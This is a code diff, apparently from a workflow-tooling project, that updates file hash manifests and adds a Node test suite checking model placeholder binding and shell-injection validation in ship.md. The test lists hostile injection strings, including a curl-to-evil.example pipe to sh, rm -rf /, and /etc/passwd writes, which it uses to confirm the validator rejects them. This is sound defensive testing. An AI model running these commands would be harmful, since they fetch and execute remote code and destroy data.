"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -331,13 +331,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "b767a1d3db129a8a",
"gsd-core/workflows/sketch.md": "5f0a7d3640cdff54",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -169,7 +169,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -367,13 +367,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "b767a1d3db129a8a",
"gsd-core/workflows/sketch.md": "5f0a7d3640cdff54",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "858c16730df68ac2",
"gsd-core/references/model-profile-resolution.md": "5d0bf1da4e1e7dfb",
"gsd-core/references/model-profiles.md": "6568ca29b6ee00d8",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "6456306b03a6dd5e",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "21a8581add5f31ae",
"gsd-core/workflows/resume-project.md": "ad9f06a10bab8cc0",
"gsd-core/workflows/review.md": "c775d08988c05be6",
"gsd-core/workflows/scan.md": "cbfb79df855e5e61",
"gsd-core/workflows/scan.md": "bc69d7c058805c47",
"gsd-core/workflows/secure-phase.md": "ef09f40dfd4d2424",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "252b0d3edc315339",
"gsd-core/workflows/settings-integrations.md": "1c3997dc6953e7eb",
"gsd-core/workflows/settings.md": "a244850ce2f7b8dd",
"gsd-core/workflows/ship.md": "0476cabbfb2d9be3",
"gsd-core/workflows/ship.md": "c58cd69d8943e870",
"gsd-core/workflows/sketch-wrap-up.md": "681800323681c5c6",
"gsd-core/workflows/sketch.md": "da82c9be7074545c",
"gsd-core/workflows/smart-entry.md": "c4c780d3aa2124f8",

View File

@@ -71,7 +71,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -269,13 +269,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "838c701bd072ae73",
"gsd-core/workflows/sketch.md": "70df86d9d8eeba0f",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -104,7 +104,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "0b7e06ed2e4abac8",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "8f98bc9d5956a004",
@@ -302,13 +302,13 @@
"gsd-core/workflows/remove-workspace.md": "ae520235f4d1f4a5",
"gsd-core/workflows/resume-project.md": "7f20769f302e5427",
"gsd-core/workflows/review.md": "c6d7f9e26af9fbdc",
"gsd-core/workflows/scan.md": "b7efd0d381a3b8a5",
"gsd-core/workflows/scan.md": "988236984298388d",
"gsd-core/workflows/secure-phase.md": "f7bfa7175102af31",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "5e05212fb5cba531",
"gsd-core/workflows/settings-integrations.md": "c9fb71d26fd93527",
"gsd-core/workflows/settings.md": "83a13de5926ead14",
"gsd-core/workflows/ship.md": "c60788a84581ac11",
"gsd-core/workflows/ship.md": "c5041231ec976644",
"gsd-core/workflows/sketch-wrap-up.md": "89e0eab2af946b04",
"gsd-core/workflows/sketch.md": "6e68bbff5c1e6db0",
"gsd-core/workflows/smart-entry.md": "072ac6efe8aafc38",

View File

@@ -104,7 +104,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "b4527b0f255d193f",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "1c9ae4014a95d269",
@@ -302,13 +302,13 @@
"gsd-core/workflows/remove-workspace.md": "8ddc5f04f7c48d6c",
"gsd-core/workflows/resume-project.md": "f242e4c8aba18ea2",
"gsd-core/workflows/review.md": "663197fee51897e4",
"gsd-core/workflows/scan.md": "3b14bcb51d3a4de8",
"gsd-core/workflows/scan.md": "73a9c7810f892ea1",
"gsd-core/workflows/secure-phase.md": "267393d5b02b5334",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "39e66386f6c48025",
"gsd-core/workflows/settings-integrations.md": "8bb1c2bdebbc56e6",
"gsd-core/workflows/settings.md": "db6121276c6f63a4",
"gsd-core/workflows/ship.md": "c6f64de23299425c",
"gsd-core/workflows/ship.md": "b78862b054e8064c",
"gsd-core/workflows/sketch-wrap-up.md": "dbec602d104cb951",
"gsd-core/workflows/sketch.md": "6a6e543f2b667278",
"gsd-core/workflows/smart-entry.md": "5631e2e70b02abba",

View File

@@ -104,7 +104,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "09aa53e3f1764a41",
"gsd-core/references/mvp-concepts.md": "3464783eaaef5c10",
"gsd-core/references/offer-next.md": "1c9ae4014a95d269",
@@ -302,13 +302,13 @@
"gsd-core/workflows/remove-workspace.md": "30ca05fe4a3efc25",
"gsd-core/workflows/resume-project.md": "82cfe1b8cb17c085",
"gsd-core/workflows/review.md": "8a9380fa5a5a3b12",
"gsd-core/workflows/scan.md": "4a910da5e34f2685",
"gsd-core/workflows/scan.md": "a93cb61ed701c91f",
"gsd-core/workflows/secure-phase.md": "d5d811bc468ce7f2",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "2f86ec7b998f9485",
"gsd-core/workflows/settings-integrations.md": "159d0ae32b511129",
"gsd-core/workflows/settings.md": "26fff45b86d827aa",
"gsd-core/workflows/ship.md": "aa9adf13460077cf",
"gsd-core/workflows/ship.md": "8ddef34295aa8394",
"gsd-core/workflows/sketch-wrap-up.md": "10063f56c2c7f141",
"gsd-core/workflows/sketch.md": "c15716376df41c97",
"gsd-core/workflows/smart-entry.md": "3fed94530109124b",

View File

@@ -175,7 +175,7 @@
"gsd-core/references/ios-scaffold.md": "5ef0cb7e0fac891f",
"gsd-core/references/loop-hook-dispatch.md": "32e5dfb4dba76987",
"gsd-core/references/mandatory-initial-read.md": "fe59abce693717cf",
"gsd-core/references/model-profile-resolution.md": "f32bb05102839767",
"gsd-core/references/model-profile-resolution.md": "3a05d03ea27c3a31",
"gsd-core/references/model-profiles.md": "e067ad3df6770db1",
"gsd-core/references/mvp-concepts.md": "72f7e8b1f8ae7118",
"gsd-core/references/offer-next.md": "689740e4c2ed16f4",
@@ -373,13 +373,13 @@
"gsd-core/workflows/remove-workspace.md": "f67860c795fb4bfe",
"gsd-core/workflows/resume-project.md": "f28da1200e4545f4",
"gsd-core/workflows/review.md": "8724993cbc91bcc5",
"gsd-core/workflows/scan.md": "e1c12d542e61720d",
"gsd-core/workflows/scan.md": "0583dac337623f82",
"gsd-core/workflows/secure-phase.md": "fda2361739e511ee",
"gsd-core/workflows/session-report.md": "2e5b1205324ddefa",
"gsd-core/workflows/settings-advanced.md": "414db4dbea97ba44",
"gsd-core/workflows/settings-integrations.md": "effcef778d4a855f",
"gsd-core/workflows/settings.md": "85ceb482dc713169",
"gsd-core/workflows/ship.md": "65a7fd84d4657a5e",
"gsd-core/workflows/ship.md": "ca94c87c80a70c27",
"gsd-core/workflows/sketch-wrap-up.md": "86db87b16548117e",
"gsd-core/workflows/sketch.md": "fcd52f8d9076e183",
"gsd-core/workflows/smart-entry.md": "004b4060eab97cb9",

View File

@@ -1,25 +1,33 @@
// allow-test-rule: structural-regression-guard see #2517
// Guards the omit-when-inherit fix: plan-phase.md and execute-phase.md must instruct
// the agent to OMIT the model= param from Agent() calls when the *_model var is
// "inherit" or empty. Without it, model="" is passed verbatim and 404s on non-Claude
// runtimes (resolve_model_ids:"omit" + model_profile:"inherit" → empty model string).
// execute-phase had the fix; plan-phase was missing it (#2517).
// allow-test-rule: runtime-contract-is-the-product see #2684
// Guards the omit-when-inherit fix: workflow orchestrators must instruct the agent to
// OMIT the model= param from Agent() calls when the *_model var is "inherit" or empty.
// Without it, model="" is passed verbatim and 404s on non-Claude runtimes
// (resolve_model_ids:"omit" + model_profile:"inherit" -> empty model string).
// execute-phase had the fix; plan-phase was missing it (#2517); scan/ship dispatched with
// a placeholder their own init payload never emits at all (#2684).
'use strict';
const { test } = require('node:test');
const assert = require('node:assert/strict');
const fs = require('node:fs');
const path = require('node:path');
const fc = require('./helpers/fast-check-setup.cjs');
const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs');
const ROOT = path.resolve(__dirname, '..');
const WORKFLOWS = path.join(ROOT, 'gsd-core', 'workflows');
// Each orchestrator that spawns model-tagged subagents must carry the rule.
const GUARDED = [
'gsd-core/workflows/plan-phase.md',
'gsd-core/workflows/execute-phase.md',
// #2684 — both dispatched with an unbound placeholder and no omit rule.
'gsd-core/workflows/scan.md',
'gsd-core/workflows/ship.md',
];
test('#2517: plan-phase/execute-phase document omitting model= when *_model is inherit/empty', () => {
test('#2517: orchestrators document omitting model= when *_model is inherit/empty', () => {
for (const rel of GUARDED) {
const content = fs.readFileSync(path.join(ROOT, rel), 'utf8');
// The rule: "omit the model= param ... when *_model is inherit/empty".
@@ -33,3 +41,269 @@ test('#2517: plan-phase/execute-phase document omitting model= when *_model is i
);
}
});
// ---------------------------------------------------------------------------
// #2684 — placeholder binding.
//
// A dispatch site may only substitute a field its OWN workflow binds. Three
// binding sources, any one sufficient:
// (a) a shell assignment in the same file: NAME=$(gsd_run query resolve-model …)
// (b) a key actually emitted by an init surface the file queries (invoked for real)
// (c) the file's declared parse list ("Parse JSON for:" / "Extract from init JSON:")
// ---------------------------------------------------------------------------
/** All `model="{X}"` placeholder names in a workflow body. */
function extractModelPlaceholders(content) {
return [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]);
}
/** `NAME=$(...)` shell assignments. `^`/`$` under /m are CRLF-safe; \s absorbs the \r. */
function shellAssignedNames(content) {
return new Set([...content.matchAll(/^[ \t]*([A-Za-z0-9_]+)=\$\(/gm)].map((m) => m[1]));
}
/** Init surfaces the file queries: both `init.<name>` and the `<name>-init` spelling. */
function queriedInitSurfaces(content) {
const dotted = [...content.matchAll(/query\s+(init\.[a-z0-9-]+)/g)].map((m) => m[1]);
const suffixed = [...content.matchAll(/query\s+([a-z0-9-]+-init)\b/g)].map((m) => m[1]);
return [...new Set([...dotted, ...suffixed])];
}
/** Names listed on a declared parse line. */
function declaredParseNames(content) {
const names = new Set();
const lines = /^.*(?:Parse JSON for|Parse from init JSON|Extract from init JSON).*$/gim;
for (const line of content.match(lines) || []) {
for (const m of line.matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(m[1]);
}
// Multi-line declarations render the fields as a bullet list under the heading.
const bulleted = content.matchAll(
/(?:Parse JSON for|Parse from init JSON|Extract from init JSON)[^\n]*\n((?:[ \t]*[-*][^\n]*\n)+)/gi,
);
for (const m of bulleted) {
for (const b of m[1].matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(b[1]);
}
return names;
}
const _initKeyCache = new Map();
/** Real payload keys for an init surface, or null when it needs args we cannot supply. */
function initPayloadKeys(surface) {
if (_initKeyCache.has(surface)) return _initKeyCache.get(surface);
let keys = null;
const res = runGsdTools(['query', surface], ROOT);
if (res.success) {
try {
keys = new Set(Object.keys(JSON.parse(res.output)));
} catch {
keys = null; // non-JSON payload — inconclusive, not proof of absence.
}
}
// A null here means the surface needs an argument we cannot supply (e.g. a
// phase number). Inconclusive, NOT proof the field is absent — the caller
// still has the declared-parse-list and shell-assignment binding sources.
_initKeyCache.set(surface, keys);
return keys;
}
/** Unbound `model="{X}"` names in one workflow body. */
function unboundModelPlaceholders(content, resolveInit = initPayloadKeys) {
const placeholders = new Set(extractModelPlaceholders(content));
if (placeholders.size === 0) return [];
const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]);
for (const surface of queriedInitSurfaces(content)) {
const keys = resolveInit(surface);
if (keys) for (const k of keys) bound.add(k);
}
return [...placeholders].filter((p) => !bound.has(p));
}
test('#2684: every model="{…}" placeholder resolves to a field its own workflow binds', () => {
const files = fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md'));
const findings = [];
let scanned = 0;
let placeholders = 0;
for (const file of files) {
const content = fs.readFileSync(path.join(WORKFLOWS, file), 'utf8');
const found = extractModelPlaceholders(content);
if (found.length === 0) continue;
scanned += 1;
placeholders += found.length;
for (const name of unboundModelPlaceholders(content)) {
findings.push(`${file}: model="{${name}}" — no init payload key, shell assignment, or ` +
`declared parse field of that name. The substitution has no source, so the ` +
`orchestrator invents a value (#2684, ADR-1411).`);
}
}
// Non-vacuity: a glob that silently stops matching must fail, not pass.
assert.ok(scanned >= 10, `expected to scan >=10 dispatching workflows, scanned ${scanned}`);
assert.ok(placeholders >= 20, `expected >=20 model= placeholders, found ${placeholders}`);
assert.deepEqual(findings, [], `unbound model= placeholders:\n ${findings.join('\n ')}`);
});
test('#2684: detects an unbound placeholder in a synthetic workflow', () => {
const noInit = () => null;
// limit-1 — zero placeholders.
assert.deepEqual(unboundModelPlaceholders('# doc\nno dispatch here\n', noInit), []);
// limit — exactly one, unbound.
const one = '# doc\nAgent(subagent_type="x", model="{ghost_model}")\n';
assert.deepEqual(unboundModelPlaceholders(one, noInit), ['ghost_model']);
// limit+1 — two unbound alongside one bound; only the unbound are reported.
const many = [
'# doc',
'REAL_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
'Agent(subagent_type="a", model="{REAL_MODEL}")',
'Agent(subagent_type="b", model="{ghost_one}")',
'Agent(subagent_type="c", model="{ghost_two}")',
'',
].join('\n');
assert.deepEqual(unboundModelPlaceholders(many, noInit), ['ghost_one', 'ghost_two']);
});
test('#2684: binding detection is CRLF-safe', () => {
const noInit = () => null;
const body = [
'# doc',
'BOUND_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
'Parse JSON for: `declared_model`.',
'Agent(subagent_type="a", model="{BOUND_MODEL}")',
'Agent(subagent_type="b", model="{declared_model}")',
'Agent(subagent_type="c", model="{ghost_model}")',
'',
];
const lf = body.join('\n');
const crlf = body.join('\r\n');
assert.deepEqual(unboundModelPlaceholders(lf, noInit), ['ghost_model']);
assert.deepEqual(
unboundModelPlaceholders(crlf, noInit),
unboundModelPlaceholders(lf, noInit),
'CRLF input must yield the same findings as LF — a hardcoded \\n strands the \\r ' +
'and turns a bound name unbound (recurring class: #1658/#1668/#2206/#2449/#2450).',
);
});
test('#2684: placeholder extraction round-trips (property)', () => {
const ident = fc.stringMatching(/^[A-Za-z_][A-Za-z0-9_]{0,20}$/);
fc.assert(
fc.property(fc.array(ident, { minLength: 1, maxLength: 12 }), (names) => {
const rendered = names.map((n) => `Agent(subagent_type="x", model="{${n}}")`).join('\n');
assert.deepEqual(extractModelPlaceholders(rendered), names);
}),
{ numRuns: 200 },
);
});
test('#2684: the model-profile reference does not instruct emitting an inherit/empty model=', () => {
const rel = 'gsd-core/references/model-profile-resolution.md';
const content = fs.readFileSync(path.join(ROOT, rel), 'utf8');
assert.ok(
!/model="inherit"/.test(content),
`${rel}: must not instruct passing model="inherit" — #2517 established that an ` +
`inherit/empty model 404s on non-Claude runtimes and must be OMITTED instead. ` +
`This shipped reference is copied into workflows verbatim.`,
);
assert.ok(
!/model="\{resolved_model\}"/.test(content),
`${rel}: must not ship a copy-pasteable model="{resolved_model}" — no init payload ` +
`emits that field, and this snippet is exactly what scan.md inherited (#2684).`,
);
assert.ok(
/omit/i.test(content),
`${rel}: must state the #2517 omit-on-inherit/empty rule, since it is the document ` +
`workflow authors copy their dispatch block from.`,
);
});
test('#2684: ship.md validates capability-supplied ref.agent before it reaches a shell', () => {
const content = fs.readFileSync(path.join(WORKFLOWS, 'ship.md'), 'utf8');
// `ref.agent` comes from a capability manifest, which may be third-party. The
// #2684 fix is the first place that value reaches a shell command, so the
// workflow must constrain its shape BEFORE substituting it.
//
// The check must be performed in-context, not in the shell: the orchestrator
// substitutes the raw value textually, so a shell-side test would run only
// AFTER a payload like `x"; id; echo "` had already closed the assignment and
// executed. Assert the workflow states the in-context ordering explicitly.
const gate = /`(\^\[A-Za-z0-9\]\[[^`]*\]\*\$)`/.exec(content);
assert.ok(
gate,
'ship.md must publish the shape `ref.agent` has to match before it is used ' +
'— a capability manifest is not trusted input.',
);
assert.match(
content,
/IN-CONTEXT, before any shell use/i,
'ship.md must require the ref.agent check to run in-context BEFORE any shell ' +
'use. A shell-side check runs after the injection point and protects nothing.',
);
assert.doesNotMatch(
content,
/HOOK_AGENT="/,
'ship.md must not assign the raw ref.agent value into a shell variable — that ' +
'assignment IS the injection point (#2684 isolated review).',
);
const shape = new RegExp(gate[1]);
// Legitimate agent names the capability system actually dispatches.
for (const ok of ['gsd-mempalace-curator', 'gsd-code-reviewer', 'my.agent_v2', 'a']) {
assert.ok(shape.test(ok), `validation gate must accept the real agent name ${ok}`);
}
// Shell-injection shapes a hostile or corrupted manifest could supply. Each
// must be rejected, so the hook is skipped rather than executed.
const hostile = [
'x"; curl http://evil.example/p | sh; #',
'x$(id)',
'x`id`',
'x; rm -rf /',
'x && whoami',
'x | tee /etc/passwd',
'x\nrm -rf /',
'$IFS',
'../../etc/passwd',
'',
];
for (const bad of hostile) {
assert.equal(
shape.test(bad),
false,
`validation gate must REJECT ${JSON.stringify(bad)} — it would otherwise be ` +
'interpolated into a shell command built from a capability manifest.',
);
}
});
test('#2684: an unknown agent type resolves to an empty model, so dispatch must omit', () => {
// Hermetic: a throwaway project whose config explicitly sets resolve_model_ids:"omit".
// ship.md dispatches `ref.agent` — an arbitrary capability-supplied agent name that need
// not be in MODEL_PROFILES. This pins that such a name resolves to the EMPTY string, so
// the consumer must omit `model=` rather than emit `model=""` (the #2517 404).
const dir = createTempProject('gsd-2684-');
try {
fs.writeFileSync(
path.join(dir, '.planning', 'config.json'),
JSON.stringify({ model_profile: 'balanced', resolve_model_ids: 'omit', runtime: 'claude' }),
);
const res = runGsdTools(['query', 'resolve-model', 'not-a-real-agent'], dir);
assert.ok(res.success, `resolve-model failed (exit ${res.exitCode}): ${res.error}`);
const parsed = JSON.parse(res.output);
assert.equal(parsed.unknown_agent, true, 'an agent absent from MODEL_PROFILES must be flagged');
assert.equal(
parsed.model,
'',
'an unknown agent under resolve_model_ids:"omit" must resolve to the EMPTY string — ' +
'the resolver is correct to refuse to invent a tier, which is precisely why the ' +
'ship.md dispatch has to omit model= instead of substituting (#2684 / #2517).',
);
} finally {
cleanup(dir);
}
});

View File

@@ -65,13 +65,13 @@
"remove-workspace.md": 7916,
"resume-project.md": 17270,
"review.md": 59213,
"scan.md": 8314,
"scan.md": 8880,
"secure-phase.md": 14627,
"session-report.md": 4044,
"settings-advanced.md": 40019,
"settings-integrations.md": 16257,
"settings.md": 33832,
"ship.md": 29834,
"ship.md": 31658,
"sketch-wrap-up.md": 14267,
"sketch.md": 20369,
"smart-entry.md": 11489,